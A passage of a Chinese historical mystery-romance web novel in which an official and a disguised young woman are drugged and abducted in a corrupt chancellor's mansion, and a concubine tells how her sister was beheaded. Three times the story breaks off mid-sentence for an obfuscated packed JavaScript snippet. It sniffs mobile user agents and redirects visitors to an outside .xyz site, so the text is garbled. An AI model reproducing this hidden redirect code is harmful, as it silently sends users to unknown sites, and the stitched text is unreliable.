苏彦清挑了挑眉：“我还是头一次听说主持闭关，连门都不让进的。” 苏应中道：“以前并非如此，近几个月愈加频繁了。” 苏家两兄弟都纳着闷，上山的步子也不自觉地快了一些，可越往上走，山上的行人越少，等他们快到登顶时才发现，一伙穿着兵服的侍卫在距庙百米处将寺庙围了起来。 苏彦清自顾自地往里走，一侍卫拦道：“这位大人，今日香客颇多，想要进去得先在此处交点香火钱。” 苏彦清心想，既然认出我了，都敢开口要钱，这阎甫申究竟想干嘛？ “多少？”苏应中问道。 “纹银二十两。” 苏应中从袖里掏出了几块碎银，被苏彦清一把按住道：“我当他们怎么都下山了呢？原来这顶上有吃人的老虎。” 正说着，一个白发老婆婆拉着侍卫的衣袖道：“大官人行行好，我孙子生病了，什么法子都想尽了，今日就想来佛前求一求，劳烦相爷高抬贵手，这二十两能不能少点？” 只见那侍卫一言不发，一个挥袖就将老人推得老远，老婆婆又凑了上来，侍卫忽地又对她使了一拳，婆婆差点滚下坡去。 苏彦清终于忍无可忍，大声呵斥道：“放肆！在大理寺和御史台的人面前，你们都敢如此横行霸道，鱼肉百姓，还有没有王法？” 侍卫连忙拱手作揖道：“苏大人息怒，小的也是奉命行事。” 远处高台上的阎甫申将这一切尽收眼底，蔑笑道:“好一个王法，他大理寺算什么王法，他也配？” 一旁的心腹王汝辰阿谀道：“连皇上都跪求您不要罢官辞相，在下觉得相爷才真真是王法。” 阎甫申满意一笑，只听得苏彦清又朗声道：“奉命行事？行何事？抢菩萨的香火钱还是不许百姓进庙门？” “这——”侍卫一时语塞。 阎甫申眼中充满厉色，一拍栏杆，正欲发作，一旁的王汝辰忙道：“相爷，都已经安排好了，要不咱撤了吧，若那小子较起真查出这事，那咱就麻烦多了。” 阎甫申压下怒火，肃声道：“都妥当了？” “是。” “那就让侍卫们撤了吧。” 王汝辰走下高台，让侍卫们都散了，老婆婆却对着王汝辰感激不已。苏彦清望着阎甫申的方向冷哼一声，目不斜视地大步朝寺庙内走去。 苏彦清压根儿没跟着苏应中磕头敬香，他跟在香客们身后四处探望，向小和尚们各种搭话，这才打听出径山寺昨晚确实收留了一个屁股被打开花的年轻小伙。 径山寺后面是一个荒芜的荆棘丛，但这点荆刺对于经常上山采药的吴昭音来说算不得什么。吴昭音将刚刚戴在头上的帷帽取下来抵着刺藤一跃而过，转身又去拉身后的珠儿。 从吴宅到径山寺，主仆二人足足走了十几里路，结果在半山腰上就听人说了“二十两”的事，故而才选了走小路，谁知越往上越来越难走，最后进也不是，退也不是。正当两人攀至山顶，只需绕过庙宇后方的几面墙即可进入前殿时，屋内响起来了男人的笑声。 “哈哈哈哈，干得不错。” “那还不是相爷您教导的好。” “诶，寺丞大人不要谦虚，要论心狠手辣，等你到了老夫的年纪恐怕要更胜一筹。” “下官不敢，下官不敢。” “不过我听说那个王二已经死了，也是你的人做的吗，他好歹也曾是我父亲手下的。” “相爷冤枉，那王二为何死，我也不清楚，反正我可给了他不少的钱，可惜他无福消受，不知道怎么的就死了。” “没想到兜兜转转十五载，他方鹤堂还是被老夫的箭给射中了。不过，你刚才说方鹤堂帮吴家后人写信，是哪个后人？” 此话一出，吴昭音与珠儿四目一惊。 “那日他来大理寺后，我本来派人盯着呢，后来就——就跟丢了。不过吴淙言的旧宅子里住进来了一个老头，那老头带着三个小子，其中一个去了方府多次，还有一个来大理寺当了仵作。” “仵作？” “那仵作倒是正经的仵作出身，就是那个老去方府的有些古怪。” “去方府的姓什么？” “王二说姓武。据说他跟苏彦清也走得近，这次苏彦清能查到王二身上，免不了有那小子的帮衬。” “苏彦清？又是他！今晚去把那姓武的小子抓过来。” “是。” 吴昭音心下一慌，脚下不稳，一个石子从脚尖滑出。 “谁？”屋里人怒喝道。 所幸那面墙没有窗户，等里面的侍卫赶出来时，吴昭音和珠儿已经顺着墙壁赶到了前殿。 “相爷，后山都是荆棘，没有看到人。”侍卫作揖道。 “嗯。”阎甫申逗弄着笼子中的鸟儿道：“就算隔墙有耳，又能奈我何呢？倒是那个苏彦清屡屡不把老夫放在眼里，得想个法子治一治才好。” 寺丞大人谄笑道：“要不再给他加点料。” 阎甫申转过身来，眼神阴冷地笑道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763198|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不，你那点法子容易识破，最多也只能毒死他，老夫要的，可是他最看中的东西。” 寺丞凝眉想了一下，又道：“还请相爷明示。” “你去替我发几张帖子，就说今晚我要邀几个大臣来府里观灯赏月。”阎甫申把鸟食放在寺丞的手上，又添了一句：“把苏彦清叫来。”说着便踱步出了醉月阁。 外面已经飘起了纷纷扬扬的小雪，一阵凉风袭过，些许雪花飘进了阎甫申的眼里，他拿手挡了一下眼睛，于指缝间窥见了一个倚梅的妙龄少女，风将她的帷帽撩起，惹得她顾盼生姿的杏眼带了一丝哀怨。风止，一张娇媚的小脸又立马隐在了面纱里。 “相爷，下雪了，咱们回府把。”王汝辰在阎甫申旁撑起了伞，又顺其目光望了过去。 阎甫申指着吴昭音笑得不怀好意：“你今晚去把那个小美人儿找来。” “好。” 当这场断断续续的小雪停下来时，天边竟挂起了落日。届时，苏彦清已从径山回到了大理寺，少卿阁的书案上放着阎甫申的请柬。 苏彦清将其打开一看，蹙着眉问陈聘：“哪里来的？” “寺丞大人送过来的。大人要赴约吗？大人，您可别去，我觉得这就是一场鸿门宴。”陈聘焦急道。 苏彦清轻叹了一声：“那你说应当如何？其实赴宴也并不尽是坏事，他恶贯满盈，说不定在府里随便转转都能查出点什么来。” 陈聘支吾道：“我，我也不知道怎么办，不去的话，他也不会饶你，但是去的话——要不你把我带上。” 苏彦清摇摇头，“依他府上的规矩，怎么可能让你进去。” “要不，你带上武公子？他虽不会武功，但她能识毒呢。万一——” 苏彦清的双眸陡然亮了一下，旋即又冷了下去：“还是不要无故叨扰人家了。”他拍拍陈聘的肩膀道：“你就在外面守着，若我到亥时还未出来，你就去苏府搬救兵。” 苏彦清不知道的是，他的武贤弟早就被阎甫申的人盯上了。从庙里回来后，吴昭音就心乱如麻，怔怔地绕着临安城走了一圈又一圈。 珠儿疲惫得弯下腰，揉着腿道：“小姐，我知道我们今天回不去了，但我现在实在走不动了。” 吴昭音转身柔声道：“珠儿，你先回去吧。” “这怎么行？”珠儿立马站直了身子，一脸紧张。 吴昭音扶着珠儿的肩膀，认真道：“他们都是冲着我来的，何况咱们家还有一个官府的仵作呢，他们应该不会明着动手，但凡问起，你就说我出远门了。只要他们没抓住我，你们就是安全的。” “那你今晚去哪儿躲呢?”珠儿歪着脑瓜仔细想着，“要不去方府？” “我也不知道能去哪，但方府是不能再去了，毕竟——我已经连累了方大人，如今恐怕连苏彦清那里都去不得。” “那我陪小姐一起想。”珠儿说着就坐到了一旁的凉亭里，“要是这里也有个缘来客栈就好了。” 吴昭音也挨着珠儿坐了下来，望着远处的落日叹了口气。忽然，珠儿用胳膊碰了碰吴昭音，吴昭音顺着珠儿的眼色看向了地面，只见地上多出了三个长长的影子，两人紧张地缓缓回头，还不待看清来人就被一记闷棍敲晕过去…… 15. 情迷西厢 入夜时分，临安阎府前厅，觥筹交错、杯盘狼藉。 后院红梅阁外，皎月初升，红梅独放，疏影斑驳。 三两侍卫扛着一团黑影绕过长长的庭院，拔腿便往西厢内迈。半晌，有人出声道：“嘿，放哪呢？” “当然是床上。” “咱捆不捆她？” “不用，你把这香点着，待会相爷进来岂不妙哉。” “咱没放错吧？” “没错。麻溜点。走，快走！” 几人将黑影轻轻地放到了床上，又趁隙闪出去，锁上了门，屋子里又归于一片黑暗，只能靠着厚厚的窗户纸透过一点朦胧的光亮来。 过了很久，床上的人动了动，她皱了皱鼻子，撑着胳膊奋力地爬了起来，又快速地摸了摸领口，松了一口气。接着，她又将手探到了裙摆，猛地一撕，手里面便多出了一块碎布，她将布掩面系在了脑后，又伸脚探了探地面，轻手轻脚地四下摸索起来，终于在窗边摸到了一个香炉，她把香倒在地上狠狠地踩了几脚，确定已经熄灭了才摇摇晃晃地靠在窗边叹气。 “这是哪？我怎么会在这里？”黑暗中，吴昭音忍不住自问起来，她暗自庆幸之前总拿自己试药，故而一般的香根本迷不倒她，否则今晚就要栽在这迷情香上了。不过想想自己应该还没暴露身份，为何会被抓起来呢？珠儿去了哪里？珠儿是不是也有危险？是何人要给她用这香呢？这里究竟是何处…… 满心的疑惑让吴昭音感受到了前所未有的不安，她贴着窗户竖着耳朵却听不出一丁点儿声响，她又摸了摸头，取下一根发簪扎向了窗户，油纸上瞬间破了一个大洞，她透过洞隙看了看院子里，只见庭院周围的楼榭尽是雕梁画栋，丹楹刻桷，奢华无比，院子中央还有棵参天的红梅树。 吴昭音又扭头看了看屋内，洞口析出的光照得屋子里也亮堂了一点。她借着微光端详起房内陈设：墙上挂着前朝的山水图，条桌上放着几本书卷，书卷里尽是一些手绘的舞女。旁边的花瓶里插着几束梅枝，枝头还挂着凉丝丝的水珠，像是刚折不久。床尾的衣桁上挂着两件女人的襦裙，料子摸起来像是上好的云绫锦…… 她心下了然，这是间女人的屋子，而且既不是丫鬟的，也不像的主母的。那会是给什么人住的呢？ 忽然，门外又传来了几个男人的声音，瓮声瓮气的，听不真切。吴昭音的心又提了起来，她这才发现屋内居然连个可以藏人的柜子都没有，她索性握着发簪躲到了被子里，又用力滚到了最里边。 一阵窸窸窣窣的开锁声后，门被一脚踢开，一个低沉的男声响起：“那娘们锁什么门呐！还好有钥匙。” 听这声音，吴昭音感觉不似方才那拨人。接着，几个人将一个摇摇晃晃的身影扶了进来，粗暴地推到了床上，又转身反手锁上了房门。 黑暗中，吴昭音嗅到了一股浓烈的酒味，她感觉身侧之人应该是醉得不省人事了。于是她屏住呼吸，从被子里轻轻地钻了出来，又提着裙子蹑手蹑脚地跨过那人。突然，那人哼唧了一声，支起了一侧膝盖，撞到了吴昭音还没落地的左脚上。吴昭音一个没站稳，又趔趄地倒回了原地，不待她疼得出声，那人又翻身倾了过来，将一只大手沉沉地压在了她绷紧的腰肢上，大手温暖而有力，引得吴昭音呼吸一窒，与此同时，一个柔软而温热的吻隔着面纱轻轻地落到了她的鼻尖。 吴昭音吓得瞪大了眼睛，血液瞬间上涌。那人灼热的呼吸透过素纱喷在了昭音的鼻唇之间，奇怪的是那吐息之中竟没有丝毫酒气。 片刻的呆滞之后，吴昭音用力地将那人推开，不料其脑袋生生地磕在了坚硬的床沿上，发出了男子吃痛的闷哼声。吴昭音忍不住回头看了一眼，只见男人双手抱头，将刚刚还四仰八叉的躯体蜷缩成一团，看起来很是痛苦。 男人头痛欲裂，脑袋里嗡嗡作响，眼前一片模糊，一些记忆的碎片顷刻间袭来…… 夕阳下，少年汗流浃背地攀在一棵大树上，将一颗颗的葚果轻轻地摘下，又轻轻地放进了兜里。突然，一个娇滴滴的声音从下方响起：“够了够了，哥哥快下来”。 少年循声俯瞰，只见树下站着一个粉妆玉琢的少女，少女垂下弯弯的睫毛，扒拉着匣子里的果子，蓦地又仰头嫣然一笑，嘴角还挂着淡紫色的汁液。 少年挪了挪身子，柔声道：“音音让开，我要跳了。”接着便轻轻一跃，恰好落在了少女的跟前。少年用手擦了擦少女的嘴角，一阵花香扑面而来，裹挟着青草的酸涩气息，少年只觉周遭瞬间都安静了下来，只能听到自己清晰的心跳。 …… “萧哥哥，你以后会做大官吗？” “萧哥哥，这颗荔枝好难吃呀。” “哥哥画得真好，可以教我么？” …… “喂！醒醒！醒醒啊……”吴昭音用力地摇着男人的肩膀，越看越觉得这人眼熟。她试着俯下身子凑近了看，不料对方却倏然睁开了迷离的双眼，墨染的剑眉下，一双氤氲着水雾的眸子直勾勾地盯着她，男人用力地吞咽着，微弱的清光照在他的下巴和长长的脖颈上，映出了绯色的潮红。 吴昭音心感大事不妙，起身欲跑，去被后方强劲的力道拉了回去，一阵天旋地转后，吴昭音又再次跌回了床上。 男人将额头靠在吴昭音脸侧，长长的睫毛轻扫着她的颞部，令她感受到了莫名的痒意。她正欲上手推开，却见男人自己已先抬起了头，一双猩红的眸子里满是克制和挣扎，显得狂热又脆弱。 “苏彦清？”吴昭音终于看清了对方，连忙要伸手将他扶起来，苏彦清却将他自己滚到了一边。吴昭音摸摸口袋，掏出了两粒药丸，掰过苏彦清的脸就往他嘴里送，碰到对方湿热的舌尖后，她警觉地撤手，去被对方紧紧地攥住了手腕，滚烫的鼻息再次迎面袭来。吴昭音咬咬牙，握着发簪朝苏彦清的锁骨处袭去，看到对方吃痛的表情后，她又慌忙松开了手，却被对方的大手牢牢握住更加用力地往更深处刺去，空气中满是烈酒的醇苦和血液的腥甜。 “大人！”吴昭音焦急惊呼。 半晌，苏彦清声音沙哑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763199|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着呢喃着：“你喊我什么？”他唇齿一动，顿觉嘴里满是药味。 “没，没什么？”吴昭音支吾道。 “你认识我？”苏彦清松开了吴昭音的手，试探地问。 吴昭音按了按手臂，镇定道：“大人威名四方，小女只是见过而已。” 良久，苏彦清冷声道：“你是——阎甫申找的美人？”语气已见清醒。 吴昭音正腹诽着如何解释，忽地听到对方提起仇人的名字，心头倏地一颤，掩下惊慌道：“不是。我也是被抓来的。” 苏彦清拔下发簪，扔在床上，靠着床头忍痛闷声道：“也是，他若想对我掣肘，不应找个如此刚烈的。” 吴昭音又撕下一块裙边，叠成块状递给苏彦清道：“堵一下伤口吧。” 苏彦清接过布角，正要往脖子上贴，忽然闻到一股熟悉的香味——凤仙花？ 她是谁？ 苏彦清闻了闻白纱，又好奇地靠过去想要看清对方的脸，吴昭音红着脸后退闪躲道：“大人请自重。” 苏彦清又退了回去，盯着吴昭音满脸狐疑道：“你今日是不是去了径山寺？” 吴昭音侧着身子，沉默了半晌，轻轻地“嗯”了一声。 “那就是了，素闻那阎相经常强抢民女，你许是被他看上了，谁知被手下放错了房间，差点——”话说一半，苏彦清自己合上了嘴。 原来是这样。吴昭音一想到自己还未被那恶人识破，心下不禁松了口气。不过苏彦清也去了径山吗？他此时为何会在这里呢？美人？莫非是阎甫申故技重施？大人怎敢喝下那么多酒？不对，他的气息里没有酒味，那他是如何中毒的呢？ 苏彦清望着对方澄亮如水，带着七分疑惑和三份讶异的眸子，那人的面容也渐渐在脑中与其重合。 是他吗？不，是她吧？怎么可能是她呢？ 吴昭音被苏彦清盯得不自然，故意正色道：“咱们还是赶紧想办法逃出去吧。” “嗯。”苏彦清一手按着伤口，一手撑着床沿站了起来。 他围着房间转了转，一会儿移了移花瓶，一会挪了挪桌椅，一会又敲了敲墙面。忽然，他注意到墙上的那幅山水画，画的正上方上有一处淡淡的光晕。吴昭音以为那是室外的光照进来的，谁知苏彦清朝着光亮处轻轻推了推，画作后面还真的出现了一阵异响。苏彦清赶紧把画撩开，只见里面有个半人高的暗门，那光亮正是着手开启之处。 苏彦清回头看了吴昭音一眼，继而又用力地将暗门拉倒，一点微弱的烛光慢慢地从隔壁房间投射进来。苏彦清弯下腰顺势走了过去，不到片刻，隔壁传来他的惊叫声，听得吴昭音打了个哆嗦。接着，门外又响起了急促的脚步声和叫骂声：“他娘的叫那么欢，别把隔壁的小娘子给喊醒咯。” 这叫声加剧了吴昭音心中的忐忑感，她无力地瘫坐在床边，不知如何是好。不过，她不知道的是，阎甫申的荒淫反让她躲过一劫，因为当寺丞派去吴府的刺客破门而入时，偌大的吴府却空无一人，全都上街找她去了。 16. 断首舞姬 苏彦清循着洞口微弱的光亮，躬身迈出了暗门。正当他抬头之际，忽觉身侧有人在看着自己，于是他缓缓地扭过头，果然发现床头上立着一个女子的身影。可再当他站直身子定睛一看，七魂瞬间吓掉了六魄。 只见那人面色煞白，眉心落红，双眼犹如黑洞。在苏彦清注视她的瞬间，她也转动着眼珠子望着苏彦清，继而启唇粲然一笑，鲜血从嘴角和牙缝间不断地溢出，汩汩地淌在了霁色的缦衫上。而这样一张令人毛骨悚然的脸竟不是长在那人的脖子上，而是端端地擒托在，她的手里。 苏彦清自认不是什么信佛怕鬼之人，任职以来断的也都是些骇人的命案，可像这样乍现的血腥场景也是头一次见，不由地惊叫出声。他寻思着这到底是阎甫申给他找的美人？还是——真的见鬼了？ 不待他回过神，那女人将一侧的散发撩到了耳后，又把脑袋往上托了托，似是含羞道：“苏公子别来无恙，不知公子可还——记得妾身。” 苏彦清靠在墙上，拼命地回想着，可任他想破脑袋也想不起来眼前的女子。他猜想着难道是落马前的事？ 见他一脸错愕，那女子忽地就笑起来，笑声心酸而凄厉，身体像筛糠一样抖动着，嘴上幽幽道：“一月的西湖，你全忘了吗？” 一月的西湖？一月的西湖……苏彦清仍旧是想不起来。 那女子叹了口气，缓缓地转动着头颅，发出“咯咯咯”的细声，听起来不知是哭还是在笑，又或者是骨骼断裂的破碎声，牵动着苏彦清的神经。他仔细地听着，那女子又开口道：“也对，公子心高志远，又怎会记得区区一个阎府的姬妾呢？” 阎甫申的妾室？苏彦清又何时招惹过他阎甫申的姬妾呢？苏彦清心里更加困惑了，不禁出声喃喃道：“姬妾？” “想不起来就不要想了，这些都不重要了。”女人说着便朝苏彦清挪动起来。 “你这是？”苏彦清嘴上问着，可心下已经开始琢磨着如何逃出这个古怪的地方，可惜屋子里只点了一根蜡烛，烛芯又短，瞅了半天也没看清什么。 女子笑得凄然，忽地歪下头问道：“春宵帐暖，苏郎可让我好等”。 苏彦清退了几步，侧过脸肃声道：“姑娘请自重。” “姑娘？”女子又怪笑起来，良久才幽幽道：“我可不是什么姑娘。你莫不是嫌我丑？你看着我。” 女子哀怨地着苏彦清，苏彦清也只好瞥了一眼女子，这才发现女子的头又回到了脖子上，除去这渗血嘴角和惨白的面色，倒也算是标致。 那女子见他半天不吱声，又一步步挪过来，正当她离苏彦清只有一步之遥时，苏彦清猛地反扣住对方的手腕，将其用力地摁在了地上，朗声正色道：“别在本官面前装神弄鬼，即便你真的是鬼，我也会做那打鬼驱邪的钟馗。” 那女子也不挣扎，蓦地低吟起来：“那日游湖隔水见，公子大义斥权奸。心生慕意出口赞，招来——招来祸端把头断。” 听着这凄绝哀婉的歌声，苏彦清心下一惊，脑袋里闪过那日游湖时苏应中的揶揄，不禁问道：“你是阎府的——？” “姬妾，已经说过了。”女子冷声应道。 “那日游湖你穿的可就是这身？” “你还记得我？”女子略喜。 “算是吧。你的意思是——你因那日夸道了我就被——？” “就被阎甫申那奸人斩首了。我的头就埋在门外的梅花树下。”女子抬头望向了窗外。 “那你刚刚手上捧的是什么？” 女子偏头冷笑道：“妾身不过一介女流，在阎老儿那里已然丢了性命，你不去捉他，反而来压制我？” 苏彦清闻言松了几分力道，叹了口气：“若真如你所言，苏某确实罪过。我不杀伯仁，伯仁却因我而死。”倏地他又抬起头来，“但你若要算账，最先找的应是那贼人。” “好，那你先松开我。” 苏彦清将信将疑地松开了手，只见那女子站起来，缓缓地转过身，擦了擦嘴角的鲜血，轻轻地勾上了苏彦清的脖子：“我不找苏郎算账，找你做夫妻可好？”苏彦清偏过头，不由分说地又将女子反手扣住。女子忽然朗笑出声，自言自语道：“姐姐果然没看错人。” “姐姐？” “松开手，让我去点灯。”女子冷声道。 苏彦清闻言便又松开了手，女子站起身来点燃了条桌两端的六盏蜡烛，只见蜡烛中间立着一个牌位，牌位上赫然写着“长姐佟默娘”。 望着女子肃然的神情和眼前这小小的牌位，苏彦清卓然而立的身子有一瞬间的颤抖，他不曾料想还真的有这么一个鲜活的生命因他而逝，不禁哑声问道：“你是她妹妹？” 女子用手帕擦掉了眉心的红点、眼角的泪水和唇周的血色，低低地“嗯”了一声，复又哽咽道：“我叫佟慧娘，默娘的胞妹。”她坐了下来，抬头望着苏彦清道“你为何一点也不怕我？我不信这世上有身正如此之人，你何时识破我的？” “你若没靠近我，我倒真的快信了。不过，你这般手艺不去耍杂倒是可惜。” “我与姐姐本就是街头卖艺的，是阎甫申将我们买了回来。”佟慧娘一脸凄然。 良久，苏彦清柔声问道：“你想替你姐姐伸冤？” 佟慧娘哑然失笑：“苏大人以为这里是大理寺呢？在阎府，那贼人就是王法。” “这是哪里的话？普天之下莫非王土。”苏彦清正色道。 佟慧娘一脸不屑，“他阎甫申手上血债累累，请问苏大人王法何在？” 苏彦清愕然，他无话可说。虽说每次与那作恶多端的奸相相峙时，胸中愤懑难掩，但他苏彦清也不是第一天进官场了，他心里也清楚，那贼人曾建军功，往下有朋党相护，在上有贵妃姐姐撑腰，圣上又怎会介意这区区几条性命呢？ 半晌，苏彦清小声地问：“可以讲讲你姐姐吗？” “嗯。”佟慧娘扬了扬头，吸了一口气，怅然道：“我与姐姐九岁入府，入府后就跟着乐师舞姬们习歌练舞，一晃就是六七年。我们姐妹长相相似，但姐姐性子温顺，早早的便被那贼人纳入妾室。那贼人的姬妾之多堪比圣上，但他从不怜香惜玉，动不动就辱之杀之。其实我和姐姐一样善舞，但她从不让我现于人前，因为她怕那贼人迫害于我，倒是她自己事事挡在前面，极尽讨好那贼人，她甚至设法让我在阎母房里做丫鬟，阎甫申这才不敢对我动心思。可如今，长姐已故，阎母又逝，我的时日恐怕也不多了。” 她突然看向苏彦清，又淡淡道：“所以，听那贼人说要引你入局，我便主动请缨。你虽无罪，但你却不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763200|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我姐姐因你而死，我不甘心，我想着若你非是君子，我便与你同归于尽，再去阴间找我的姐姐。” 说话间，苏彦清已默默地向佟默娘的牌位上了三炷香，垂眸愧色道：“你姐姐是哪天——离世的？” “游湖的那天晚上。那天姐姐情不自禁地夸了你一句，仅仅是一句，却被那贼人听了去。他先是假意要为姐姐做媒，嘴上说姐姐二八年华不应委身于他，但无论姐姐如何百般解释，万般示诚，都无法浇灭他的心中的怒火。他要我姐姐发誓，然后趁她不备拔刀挥剑，姐姐的脑袋就这么一骨碌地滚到了红梅树下。” 苏彦清耳不忍闻，转身看了佟慧娘一眼，却见她早已泪流满面。 佟慧娘擦了擦眼泪，继续道：“他做了这些，似乎还是觉得不够解气，他又将姐姐的尸首放在精致的盒子里，称其为帮我姐姐准备的嫁礼，引得其他姬妾观看。当天真的女人们看到我姐姐的尸首时，一个个胆战心惊，怛然失色。而这一切被躲在这间屋子里的我看得清清楚楚，那贼人以为我卧病在床呢，其实是姐姐自知性命堪忧，特意为我编了个幌子。算账？你以为我不想杀了那贼人吗？他身旁的侍卫都是精锐，他的每口吃食都有人试毒，他从不在姬妾房里留宿，我们也进不了他的卧寝，想除掉他谈何容易。对了，据说他在很多大臣府中安插了细作，苏大人可是知道？” “略有耳闻，也早有猜测。不过多谢佟姑娘相告，苏某定当谨记，也定不会忘却今夜之事。”苏彦清压着胸中的郁气，手指甲快要嵌进了肉里，他只觉得心口像是堵了一块尖锐的石头，压得他又痛又喘不过气来。京中人夸他心明如镜，安良除暴，但这世间若有阎甫申这样草菅人命的高位者，任是再怎么夙夜不懈地查案，又有何意义呢？ 苏彦清正恍着神，隔壁门外忽然响起了男人的声音：“咱们就守着，说不定相爷就来了。” “那倒未必，这隔壁还有出好戏呢。诶，你说他们怎么没动静了，刚才还那么大声。” “你小点声音，万一吵醒了呢。” …… “糟了！”苏彦清这才想起，隔壁还有一个人，他猫着身子正准备钻过墙去，却与对面之人撞到了一起。 佟慧娘连忙掌灯，只见一个蒙面的佳人从暗门里探身出来，盈盈一拜道：“失礼了。” 吴昭音也打量起眼前之人，这女子即便将脸上覆着厚厚的脂粉，也难掩清秀。 佟慧娘满脸疑惑：“你是？你怎么也在姐姐的房里？” “姐姐的房？”苏彦清和吴昭音异口同声道。 “对。”佟慧娘摩挲着暗门道，“我们姐妹俩偷偷掘了多年才有这门，我故意引侍卫将你送到隔壁，想等你清醒了再吓你一场，谁知你竟自己过来了。” 苏彦清喃喃道：“原来如此。” 吴昭音径自走到烛台前，看了看佟默娘的牌位，也默默地敬了三炷香，转头开腔道：“我是被阎甫申强掳来的，方才你们说的我都听到了。眼下那人就快来了，咱们赶紧想办法出去才是。” 佟慧娘忙道：“我知道哪里可以走，你们可会功夫？” 两人正摇着头，忽然，一个黑影从屋顶跃下。三人警惕地后退。那人轻轻地拉下了面罩，映出一张硬朗的面容。 “刘凌风？”吴昭音惊讶出声。 17. 虎口夜逃 “姑娘，醒醒。” 珠儿在一声声呼唤中缓缓地睁眼，眼前是一个陌生的妇人面孔，她吓得赶紧爬了起来，慌忙地环视了一下四周，这才发现其所在之处仍是黄昏时遇袭的凉亭，但周周遭已不见小姐的身影，暮色也已更沉了。小姐在何处？小姐被抓走了吗？强烈的不安感充斥着她的大脑，她的头又痛了起来。 妇人见小丫头一脸焦灼，关切地问道：“姑娘这是怎么了？” 珠儿鼻子一酸，眼眶一红，泪水唰的一下就流了下来，“我把我家小姐弄丢了，呜呜——。”自从来了京城，小姐就少有带她出门，她知道小姐是想保护她，可她每次被单独留下时又怎能不担心呢？今日倒好，竟让人在她眼前将小姐抓走了，她居然还昏睡了那么久，想着想着她便自责地哭了起来。 “弄丢了？”妇人一头雾水。 珠儿擦擦眼泪，解释道：“我家小姐被人抓走了。” 妇人恍然，忙道：“原来如此，那赶紧去报官呀。” 珠儿琢磨着：报官？以何身份报官？今日在庙里听到那阎相和寺丞正要抓小姐呢，现在去报官会不会不打自招？到底是谁抓走小姐的呢…… 思前想后了一番，珠儿决定还是先回府同大家商量一下，于是便匆匆地与妇人作别。回府后，珠儿发现安抚使之子刘凌风也在，索性将今日所遇和盘托出。 因为没有任何线索，余晖打算去大理寺找苏彦清帮忙，刘凌风则怀疑吴昭音很可能已被识破了身份，于是准备独自去阎府打探一下，故而几人最终决定分头行动。 余晖等人赶到大理寺时，侍卫告诉他们苏彦清已被相爷请去了府上，而暗藏在阎府屋顶的刘凌风也迟迟没有发现吴昭音的踪迹。 正当刘凌风准备从后院翻墙走人时，忽闻身下的屋子里传出男子的惊叫声，接着便有几个侍卫骂道：“他娘的叫那么欢，别把隔壁的小娘子给喊醒咯。” 刘凌风心里咯噔了一下，随手掀开一片瓦砾，这才窥见了苏彦清和佟慧娘的整个谈话。他本以为这只是件普通的阎府秘事，谁知看着看着竟瞅见一个蒙面女子从墙里钻了出来。刘凌风虽没见过女装的吴昭音，但一番推测后也猜出了个七八分。为了验证心中所想，他又轻轻地揭起一些瓦片，奋力跃向屋内。 吴昭音对刘凌风的出现颇感意外，其余两人就更不用说了。 “跟我走。”刘凌风提起吴昭音的胳膊便要一跃而上。 “且慢。”吴昭音拉住刘凌风，又看了一眼苏彦清。 几人僵持的瞬间，门外响起了脚步声，接着就是有规律的敲门声“咚咚咚、咚咚、咚”。 佟慧娘焦急小声道：“是那贼人来了。” “来不及了，姑娘先走。”苏彦清轻轻地推了吴昭音一把，刘凌风顺势将她带出了房间。 屋外久等的阎甫申掩下怒火，又敲了一遍门。 “来了。”慧娘轻轻地将门打开，只见屋外站了三五个大臣，大都是阎府的常客。 阎甫申瞪了佟慧娘一眼，不由分说地提腿迈了进去，却见苏彦清正端坐在条桌旁认真地盯着桌面上的棋子，屋内也已不见暗门和默娘的牌位，佟慧娘身上的“血衣”也已被她褪去。 苏彦清并未抬头，只是从棋盒里捻出一枚白子，在手指上摩挲着，但见那白子已占去了棋盘三角，黑子却所剩不多。 寺丞大人出声道：“苏大人好雅兴，我还以为你——” 苏彦清轻揽衣袖，缓缓落子，蓦地一边大笑一边应道：“以为如何？” 佟慧娘莞尔一笑：“大人好棋艺，又赢了妾身一局。” 苏彦清忽地抬眸扫了众人一眼，佯装惊讶道：“大家怎么都来了。坐坐坐，不知哪位大人赏脸再陪苏某下一局？” 阎甫申闷声道：“苏大人不是早就离席了么？怎么会出现在这里呢？这孤男寡女，若是传了出去，恐怕不太好吧。” 苏彦清站起身来踱步思索道：“是啊，我记得我已经走到大门口了，怎么醒来之后却在此处呢？” 户部尚书卢知年厉声道：“苏彦清，你这是何意？难不成是相爷把你困在此处？” 苏彦清故作殷勤道：“不不不，下官怎敢怀疑相爷呢。估计是今夜的酒和这上元之月格外醉人罢了。不过，苏某也是颇为好奇，自我醒来之后，我和佟姑娘都未曾出过这厢房，不知各位大人是如何精准地找到在下的？” 